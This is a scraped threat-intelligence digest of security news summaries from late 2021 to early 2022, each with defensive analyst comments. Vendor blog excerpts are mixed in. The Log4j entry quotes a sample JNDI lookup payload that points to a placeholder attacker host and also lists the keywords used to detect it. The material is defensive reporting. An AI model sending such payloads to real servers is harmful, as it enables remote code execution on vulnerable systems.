Data destruction is one of the common objectives for Russia in its ongoing cyberwar with Ukraine. During the February-March 2022 military escalation, three new wipers were discovered. On February 23, 2022, HermeticWiper, on February 24, 2022, IsaacWiper, and, later in March 2022, CaddyWiper. Malwarebytes researchers assess that all three wipers have been written by different authors and have no code overlap. IsaacWiper and CaddyWiper are light in comparison to the more complex HermeticWiper. CaddyWiper has an additional check to exclude wiping Domain Controllers probably to leave an opportunity for malware propagation.
Analyst Comment: Focus on intrusion prevention and having a proper disaster recovery plan in place: have anti-phishing training, keep your systems updated, regularly backup your data to an offline storage.

(published: March 18, 2022)
The Computer Emergency Response Team for Ukraine (CERT-UA) detected a new UAC-0035 (InvisiMole) phishing campaign targeting Ukrainian government organizations. InvisiMole is likely a subgroup connected to the Russia-sponsored Gamaredon (Primitive Bear) group. The new campaign features an attached archive, together with a shortcut (LNK) file. If the LNK file is opened, an HTML Application file (HTA) downloads and executes VBScript designed to deploy the LoadEdge backdoor. LoadEdge deploys additional malware and modules including TunnelMole, malware that abuses the DNS protocol to form a tunnel for malicious software distribution, and RC2CL backdoor module.
Analyst Comment: Users should be trained to recognize spearphishing attempts. Attachments with rare attachment extensions (LNK, ISO, BAT to name a few) should be reported.

Webinar on Cyberattacks in Ukraine – Summary and Q&A
(published: March 14, 2022)
As the military conflict in Ukraine continues, the number of cyberattacks in Ukraine is expected to rise in the next six months, according to Kaspersky researchers. Most of the current attacks on Ukraine are of low complexity, but advanced persistent threat (APT) attacks exist too. Gamaredon (Primitive Bear) APT group continues its spearphishing attacks. Sandworm APT targets SOHO network devices with modular Linux malware Cyclops Blink. Other suspected APT campaigns use MicroBackdoor malware or various wipers and fake ransomware (HermeticRansom, HermeticWiper, IsaacWiper, WhisperGate). Honeypot network in Ukraine detected over 20,000 attacking IP addresses, and most of them were seen attacking Ukraine exclusively.
Analyst Comment: Harden your infrastructure against DDoS attacks, ransomware and destructive malware, phishing, targeted attacks, supply-chain attacks, and firmware attacks.

(lien direct) | initIframe('621fae2743ebc30765551e5e'); Welcome to this week's blog, where I'll dive deeper into the Top 10 Cybersecurity Challenges enterprise organizations face, as found in our recently released Cybersecurity Insights Report 2022: The State of Cyber Resilience. Coming in at number nine on our “Top 10 List of the Challenges Cybersecurity Professionals Face” is the Lack of threat intelligence information. I gotta admit, when I first saw this on the list, I was scratching my head, as I'm sure any cybersecurity professional might be. But as I sat back and thought about it, it made more sense. There's no shortage of threat intelligence data out there, whether it's from open source or third-party feeds. In fact, I assumed most organizations were suffering from information overload as they're inundated with data. What they may lack is RELEVANT intelligence information specific to them. What do I mean? Well, we're all suffering from information overload. When I go to ESPN, I don't want to see all of the scores, I want to see the scores I care about. I want immediate access to my teams so I can be angry about them. (NY Giants and New Jersey Devils, I'm looking at you.) ESPN enables me to pick and choose my favorites so that I can make my experience relevant to me. Which is similar to what organizations need to do. When security teams log into their dashboard, they don't want to be hit with all the threats. They want to see the potential threats most relevant to them so they can take quick action. And they want threat intelligence to be operational so that it can be made actionable to inform security teams. So, what needs to be done? First, let's define Threat Intelligence. Threat Intelligence (TI) is the collection of raw data about threats and vulnerabilities that is then transformed into actionable intelligence. Effective threat intelligence programs help organizations detect and respond to cyberattacks before they cause harm. Organizations that fail to invest in TI as part of their security programs risk being blindsided by new threats or vulnerable to existing ones. Intelligence vs Information vs Data One of the reasons organizations might be struggling is that there might be some confusion between data, information, and intelligence, especially if they're managing threat intelligence manually. Let's start by trying to outline the differences. The main differences between data, information, and intelligence come in two forms: volume, and usability. Data is a collection of individual facts, statistics, or items of information, usually available in large quantities, it describes specific and indisputable facts. There is a subtle difference between data and information. Data are the facts or details from which information is derived. Individual pieces of data are rarely useful alone. For data to become information, data needs to be put into context. Information is created when a series of data is combined to answer a simple, straightforward question. Let's use hockey goalies as an example. An individual goalie’s save percentage is one piece of data. Let’s say you’ve used six goalies this year, each with varied save percentages. The average save percentage for the entire team can be derived from the given data. Note that although this output is more useful than the raw data, the GM still might not know exactly what to do with it. Intelligence takes this process one step further by interrogating data to t | Malware Threat | ||

Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot
(published: February 25, 2022)
Researchers at Unit 42 identified an attack targeting an energy organization in Ukraine. Ukrainian CERT has attributed this attack to a threat group they track as UAC-0056. The targeted attack involved a spear phishing email sent to organization employees containing a malicious JavaScript file that would download and install a downloader known as SaintBot and a document stealer called OutSteel. Actors leverage Discord’s content delivery network (CDN) to host their payload. Goal of this attack was data collection on government organizations and companies involved with critical infrastructure.
Analyst Comment: Administrators can block traffic to discordapp[.]com if their organization doesn’t have a current legitimate use of Discord. Implement attack surface reduction rules for Microsoft Office. Train users to recognize, safely process, and report potential spearphishing emails.

EvilPlayout: Attack Against Iran’s State Broadcaster
(published: February 18, 2022)
Checkpoint Researchers have released an article detailing their findings regarding a wave of cyber attacks directed at Iranian broadcast infrastructure during late January 2022. IRIB, an Iranian state broadcaster, was compromised, with malicious executables and wipers being responsible for the attack. Said malware had multiple functions, including hijacking of several tv stations to play recordings of political opposition leaders demanding the assassination of Iran’s supreme leader. Additional functionality includes custom backdoors, screenshot capability and several bash scripts to download other malicious executables. The malware appears new, with no previous appearances, nor has there been any actor attribution as of the date of publication.
Analyst Comment: Utilize all telemetry and feed it into a SIEM to help identify malicious activity within your network. Anomali Match can collide this telemetry against global intelligence to assist in identifying malicious indicators within your network. A defense in depth approach will also mitigate the damage any compromises can do to your infrastructure.

Microsoft Teams Targeted With Takeover Trojans
(published: February 17, 2022)
Researchers at Avanan have documented a new phishing technique that threat actors are using that abuses the trust users of Microsoft Teams have for the platform to deliver malware. Threat Actors send phishing links to victims which initiate a chat on the platform, after which they will post a link to a dll file within the chat box. When clicked, it will install a trojan of choice on the target machine. With over 279 million users, this presents a new attack vector for threat actors to abuse.
Analyst Comment: Never click on a link or open attachments from untrusted senders when receiving email. Be skeptical of strangers attempting to move conversation to another platform, even if you use that platform. Be wary of links posted in apps that are used for communication, as links that are posted on trusted platforms are not trustworthy themselves.

What’s With The Shared VBA Code Between Transparent Tribe And Other Threat Actors?
(published: February 9, 2022)
A recent discovery has been made that links malicious VBA macro code between multiple groups, namely: Transparent Tribe, Donot Team, SideCopy, Operation Hangover, and SideWinder. These groups operate (or operated) out of South Asia and use a variety of techniques with phishing emails and maldocs to target government and military entities within India and Pakistan. The code is similar enough that it suggests cooperation between APT groups, despite having completely different goals/targets.
Analyst Comment: This research shows that APT groups are sharing TTPs to assist each other, regardless of motive or target. Files that request content be enabled to properly view the document are often signs of a phishing attack. If such a file is sent to you via a known and trusted sender, that individual should be contacted to verify the authenticity of the attachment prior to opening. Thus, any such file attachment sent by unknown senders should be viewed with the utmost scrutiny, and the attachments should be avoided and properly reported to appropriate personnel.

Fake Windows 11 Upgrade Installers Infect You With RedLine Malware
(published: February 9, 2022)
Due to the recent announcement of Windows 11 upgrade availability, an unknown threat actor has registered a domain to trick users into downloading an installer that contains RedLine malware. The site, "windows-upgraded[.]com", is a direct copy of a legitimate Microsoft upgrade portal. Clicking the 'Upgrade Now' button downloads a 734MB ZIP file which contains an excess of dead code; more than likely this is to increase the filesize for bypassing any antivirus scan. RedLine is a well-known infostealer, capable of taking screenshots, using C2 communications, keylogging and more.
Analyst Comment: Any official Windows update or installation files will be downloaded through the operating system directly. If offline updates are necessary, only go through Microsoft sites and subdomains. Never update Windows from a third-party site due to this type of attack.

New CapraRAT Android Malware Targets Indian Government and Military Personnel
(published: February 7, 2022)
Trend Micro researchers have discovered a new remote access trojan (RAT) dubbed, CapraRAT, that targets Android systems. CapraRAT is attributed to the advanced persistent threat (APT) group, APT36 (Earth Karkaddan, Mythic Leopard, Transparent Tribe), which is believed to be Pakistan-based group that has been active since at least 2016. The Android-targeting CapraRAT shares similarities (capabilities, commands, and function names) to the Windows targeting Crimson RAT, and researchers note that it may be a modified version of the open source AndroRAT. The delivery method of CapraRAT is unknown, however, APT36 is known to use spearphishing emails with attachments or links. Once CapraRAT is installed and executed it will attempt to reach out to a command and control server and subsequently begin stealing various data from an infected device.
Analyst Comment: It is important to only use the Google Play Store to obtain your software (for Android users), and avoid installing software from unverified sources because it is easier for malicious applications to get into third-party stores. Applications that ask for additional permissions outside of their normal functionality should be treated with suspicion, and normal functionality for the applications should be reviewed carefully prior to installation. Antivirus applications, if available, should be installed devices.

Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine
(published: February 3, 2022)
The Russia-sponsored, cyberespionage group Primitive Bear (Gamaredon) has continued updating its toolset, according to Unit 42 researchers. The group continues to use their primary tactic in spearphishing emails with attachments that leverage remote templates and template injection with a focus on Ukraine. These email attachments are usually Microsoft Word documents that use the remote template to fetch VBScript, execute it to establish persistence, and wait for the group’s instruction via a command and control server. Unit 42 researchers have analyzed the group’s activity and infrastructure dating back to 2018 up to the current border tensions between Russia and Ukraine. The infrastructure behind the campaigns is robust, with clusters of domains that are rotated and parked on different IPs, often on a daily basis.
Analyst Comment: Spearphishing emails represent a significant security risk because the sending email will often appear legitimate to the target; sometimes a target company email is compromis |

2022-02-02 23:25:00 | Top 10 Cybersecurity Challenges Enterprise Organizations Face (lien direct) | Welcome to the first in a series of blog posts where I'll dive deeper into the Top 10 Cybersecurity Challenges enterprise organizations face, as found in our recently released Cybersecurity Insights Report 2022: The State of Cyber Resilience. Cybersecurity has become a major concern for businesses around the globe. The threat landscape continues to evolve at a rapid pace, and cybercriminals continue to develop new ways to exploit vulnerabilities in systems. One of the key findings in the report stated that 87% of organizations surveyed had suffered a cyber attack over the past three years. In some ways, it's surprising as organizations continue to invest in cybersecurity tools. In other ways, it's not, as threats and threat actors have been increasing in sophistication. The pandemic added a social engineering element where attackers could play upon the public's fears. Organizations Are Falling Short Of Their Goals & Face A Slew Of Challenges Mitigating, Detecting, & Responding To Cyber Threats What's clear is that despite increasing investment and all the great work cyber professionals are doing, there are still some challenges organizations face in ensuring their cybersecurity posture is as resilient as it needs to be. The report identified the following Top 10 Cybersecurity Challenges enterprise organizations face: Maintaining a pulse on new and emerging global cybersecurity threats Speed and complexity of digital transformation Utilizing the latest cybersecurity solutions (e.g., XDR) Lack of skilled cybersecurity professionals Solutions not customized to the types of risks we face Lack of integrated cybersecurity solutions Lack of ability to share threat intelligence cross-functionally Underutilization of frameworks to support investigations Lack of threat intelligence information Poor understanding of cyber risks At first glance, it looks like it’s the same challenges the industry has been discussing forever. Organizations lack visibility or threat intelligence to help them identify threats; digital transformation has increased their ever-growing attack surface; the cyber skills gap is still an issue, and organizations are still working in siloed environments. But there are also some new challenges. Organizations are struggling with implementing new technologies, like XDR, and are being hindered by the fact that those technologies are not customizable to each organization. What it boils down to is that, in short, these challenges are contributing to the cyber incidents that are taking a financial toll on nearly all organizations. With losses from targeted cyberattacks, malware campaigns, phishing, insider threats, and associated data breaches running well into the hundreds of thousands of dollars per organization. So, why haven't these challenges been resolved? That's hard to pinpoint. Cyberattacks are becoming more frequent and damaging. Attackers and threats are becoming more sophisticated. New challenges will continue to rise and fall. Cybersecurity professionals need to adapt to keep up with the ever-changing threat landscape. What’s clear is that cybercrime costs companies billions of dollars each year. In addition to financial losses, cyberattacks also put sensitive information at risk. Companies must take steps to prevent these threats before they happen. In the coming weeks, we'll take a deeper look into each challenge and outline some ways to help mitigate those challenges.

Windows Vulnerability With New Public Exploits Lets You Become Admin
(published: January 29, 2022)
A new vulnerability, tracked as CVE-2022-21882 was discovered by researcher RyeLv in early January 2022. The exploit is a bypass to a previous vulnerability, CVE-2021-1732, and affects all Windows 10 machines that have not applied January’s Patch Tuesday patch. This vulnerability is a privilege escalation exploit, which grants administrator level privileges and allows for the creation of new admin accounts, as well as lateral movement. The exploit abuses a flaw in the manner in which the kernel handles callbacks, changing the flag ConsoleWindow. This will modify the window type, and tricks the system into thinking tagWND.WndExtra is an offset of the kernel desktop heap, thereby granting administrator level read and write access.
Analyst Comment: Apply patches when they become available to keep your systems and assets protected from the latest attacks and vulnerabilities. This is essential when new vulnerabilities are discovered as threat actors will actively attempt to exploit them. A strong patch management policy combined with an effective asset management policy will assist you in keeping your assets up to date and protected.

Shipment-Delivery Scams Become the Favored Way to Spread Malware
(published: January 28, 2022)
Researchers at Cofense and Checkpoint have documented a series of Phishing campaigns throughout Q4 of 2021. The campaign imitates large known delivery brands such as DHL or the US postal service, and aims to abuse the trust these companies have associated with them to manipulate their targets into clicking malicious links or files. The most prominent tactic is to provide a link to a missed package, capitalizing on current global supply chain issues. Once clicked, TrickBot malware is delivered, though other campaigns are delivering as of yet non-attributed trojans. The malicious links in these campaigns are not particularly sophisticated, and are easily identified as false as they lead to domains outside the company they are targeting.
Analyst Comment: Never click on attachments or links from untrustworthy sources, and verify with the legitimate sender the integrity of these emails. Treat any email that attempts to scare, coerce, provide a time limit or force you to click links or attachments with extreme suspicion.

FBI Warns Of Malicious QR Codes Used To Steal Your Money
(published: January 23, 2022)
The Federal Bureau of Investigation (FBI) recently released a notice that malicious QR codes have been found in the wild. These codes, when scanned, will redirect the victim to a site where they are prompted to enter personal and payment details. The site will then harvest these credentials for cybercriminals to commit fraud and empty bank accounts. This threat vector has been seen in Germany as of December 2021.
Analyst Comment: Always be sure to check that emails have been sent from a legitimate source, and that any financial details or method of payment is done through the website. While QR codes are useful and being used by businesses more often, it is easy for cybercriminals to perform this kind of scam. If scanning a physical QR code, ensure the code has not been replaced with a sticker placed on top of the original code. Check the final URL to make sure it is the intended site and looks authentic.

MoonBounce: The Dark Side Of UEFI Firmware
(published: January 20, 2022)
Kaspersky has reported that in September 2021, a bootloader malware infection had been discovered that embeds itself into UEFI firmware. The malware patches existing UEFI drivers and resides in the SPI flash memory located on the motherboard. This means that it will persist even if the hard drive is replaced. Code snippets and IP addresses link the activity to APT41, a group that is operated by a group of Chinese-speaking individuals. MoonBounce is highly sophisticated and very difficult to detect.
Analyst Comment: Systems should be configured to take advantage of Trusted Platform Module (TPM) hardware security chips to secure their systems' boot image and firmware, where available. Secure boot is also a viable option to mitigate against attacks that would patch, reconfigure, or flash existing UEFI firmware to implant malicious code.

Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques
(published: January 17, 2022)
The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2.
Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020.

Attack Misuses Google Docs Comments to Spew Out “Massive Wave” of Malicious Links
(published: January 7, 2022)
Security researchers have seen a very large number of attacks leveraging the comment features of Google Docs to send emails to users containing malicious content. The attackers can create a document, sheet, or slides and add comments tagging any user's email address. Google then sends an email to the tagged user account. These emails come from Google itself and are more likely to be trusted than some other phishing avenues.
Analyst Comment: Phishing education can often help users identify and prevent phishing attacks. Specific to this attack method, users should verify that any unsolicited comments that are received come from the user indicated, and if unsure, reach out separately to the user that appears to have sent the comment to verify that it is real. Links in email should be treated with caution.

The Vietnamese crypto trading, ONUS, was breached by unknown threat actor(s) by exploiting the Log4Shell (CVE-2021-44228) vulnerability between December 11 and 13. The exploited target was an AWS server running Cyclos, which is a point-of-sale software provider, and the server was only intended for sandbox purposes. Actors were then able to steal information via the misconfigured AWS S3 buckets containing information on approximately two million customers. Threat actors then attempted to extort five million dollars (USD).
Analyst Comment: Although Cyclos issued a warning to patch on December 13, the threat actors had already gained illicit access. Even though Log4Shell provided initial access to the compromised server, it was the misconfigured buckets the actors took advantage of to steal data.

Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends
(published: December 29, 2021)
Palo Alto Networks Unit42 researchers have published a report based on their tracking of strategically-aged malicious domains (registered but not used until a specific time) and their domain generation algorithm (DGA) created subdomains. Researchers found two Pegasus spyware command and control domains that were registered in 2019 and were not active until July 2021. A phishing campaign using DGA subdomains that were similar to those used during the SolarWinds supply chain attack was also identified.
Analyst Comment: Monitor your networks for abnormal DNS requests, and have bandwidth limitations in place, if possible, to prevent numerous connections to DGA domains. Knowing which DGAs are most active in the wild will allow you to build a proactive defense by detecting any DGA that is in use. Anomali can detect DGA algorithms used by malware to assist in defending against these types of threats.

A Deep Dive into DoubleFeature, Equation Group’s Post-Exploitation Dashboard
(published: December 27, 2021)
Check Point researchers have published their findings on the Equation Group’s post-exploitation framework DanderSpritz — a major part of the “Lost in Translation” leak — with a focus on its DoubleFeature logging tool. DoubleFeature (similar to other Equation Group tools) employs several techniques to make forensic analysis difficult: function names are not passed explicitly, but instead a checksum of it; strings used in DoubleFeature are decrypted on-demand per function and they are re-encrypted once function execution completes. DoubleFeature also supports additional obfuscation methods, such as a simple substitution cipher and a stream cipher. In its information gathering DoubleFeature can monitor multiple additional plugins including: KillSuit (also known as KiSu and GrayFish) plugin that is running other plugins, providing a framework for persistence and evasion, MistyVeal (MV) implant verifying that the targeted system is indeed an authentic victim, StraitBizarre (SBZ) cross-platform implant, and UnitedRake remote access tool (UR, EquationDrug).
Analyst Comment: It is important to study Equation Group’s frameworks because some of the leaked exploits were seen exploited by other threat actors. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Phorpiex botnet is back with a new Twizt: Hijacking Hundreds of crypto transactions
(published: December 16, 2021)
Check Point Research has uncovered a new variant of the Phorpiex botnet named Twizt. Historically, Phorpiex utilized sextortion, ransomware delivery, and cryptocurrency clipping. Twizt however, appears to be primarily focused on stealing cryptocurrency and have stolen half a million dollars since November 2020 in the form of Bitcoin, Ether and ERC20 tokens.The botnet features departure from it’s traditional command and control (C2) infrastructure, opting for peer-to-peer (P2P) communications between infected hosts, eliminating the need for C2 communication as each host can fulfill that role.
Analyst Comment: Bots within a P2P network need to communicate regularly with other bots to receive and share commands. If the infected bots are on a private network, private IP addresses will be used. Therefore, careful monitoring of network traffic will reveal suspicious activity, and a spike in network resource usage as opposed to the detection of C2 IP addresses.

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.

How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

Micropatching Unpatched Local Privilege Escalation in Mobile Device Management Service (CVE-2021-24084 / 0day)
(published: November 26, 2021)
0patch Team released free, unofficial patches to protect Windows 10 users from a local privilege escalation (LPE) zero-day vulnerability in the Mobile Device Management Service. The security flaw resides under the "Access work or school" settings, and it bypasses a patch released by Microsoft in February to address an information disclosure vulnerability tracked as CVE-2021-24084. Security researcher Abdelhamid Naceri discovered this month that the incompletely-patched flaw could also be exploited to gain admin privileges after publicly disclosing the newly-spotted bug in June. He also published a proof of concept (POC) for a related vulnerability in Windows 11.
Analyst Comment: Check if your Windows 10 version is affected and if so, apply the appropriate free micropatches. Plan to patch your Windows 11 systems when security patches become available. As actors now have a POC for the Windows 11 privilege escalation vulnerability, it is important to harden your systems to avoid the initial access.

CronRAT Malware Hides Behind February 31st
(published: November 24, 2021)
Sansec researchers have discovered CronRAT, a new remote access trojan (RAT), that is capable of stealing payment details by going after vulnerable web stores and dropping payment skimmers on Linux servers. By modifying the server-side code it bypasses browser-based security solutions. CronRAT actors engage in Magecart attacks achieving additional stealthiness thanks to the Linux Cron Job system. CronRAT code is compressed, Base64-encoded and hidden in the task names in the calendar subsystem of Linux servers (“cron”). To avoid system administrators’ attention and execution errors, those tasks are scheduled on a nonexistent day (such as February 31st). Other CronRAT stealthiness techniques are: anti-tampering checksums, being controlled via binary/obfuscated protocol, control server disguised as Dropbear SSH service, fileless execution, launching tandem RAT in a separate Linux subsystem, and timing modulation.
Analyst Comment: Websites, much like personal workstations, require constant maintenance and upkeep in order to adapt to the latest threats. All external facing assets should be monitored and scanned for vulnerabilities. Threats like CronRAT make it critical that server software is kept up to date. The ability to easily restore from backup, incident response planning, and customer communication channels should all be established before a breach occurs. In addition, supply chain attacks are becoming more frequent amongst threat actors as their Tactics, Techniques, and Procedures (TTPs) evolve. Therefore, it is par |

Emotet malware is back and rebuilding its botnet via TrickBot
(published: November 15, 2021)
After Europol enforcement executed a takeover of the Emotet infrastructure in April 2021 and German law enforcement used this infrastructure to load a module triggering an uninstall of existing Emotet installs, new Emotet installs have been detected via initial infections with TrickBot. These campaigns and infrastructure appear to be rapidly proliferating. Once infected with Emotet, in addition to leveraging the infected device to send malspam, additional malware can be downloaded and installed on the victim device for various purposes, including ransomware. Researchers currently have not seen any spamming activity or any known malicious documents dropping Emotet malware besides from TrickBot. It is possible that Emotet is using Trickbot to rebuild its infrastructure and steal email chains it will use in future spam attacks.
Analyst Comment: Phishing continues to be a preferred method for initial infection by many actors and malware families. End users should be cautious with email attachments and links, and organizations should have robust endpoint protections that are regularly updated.
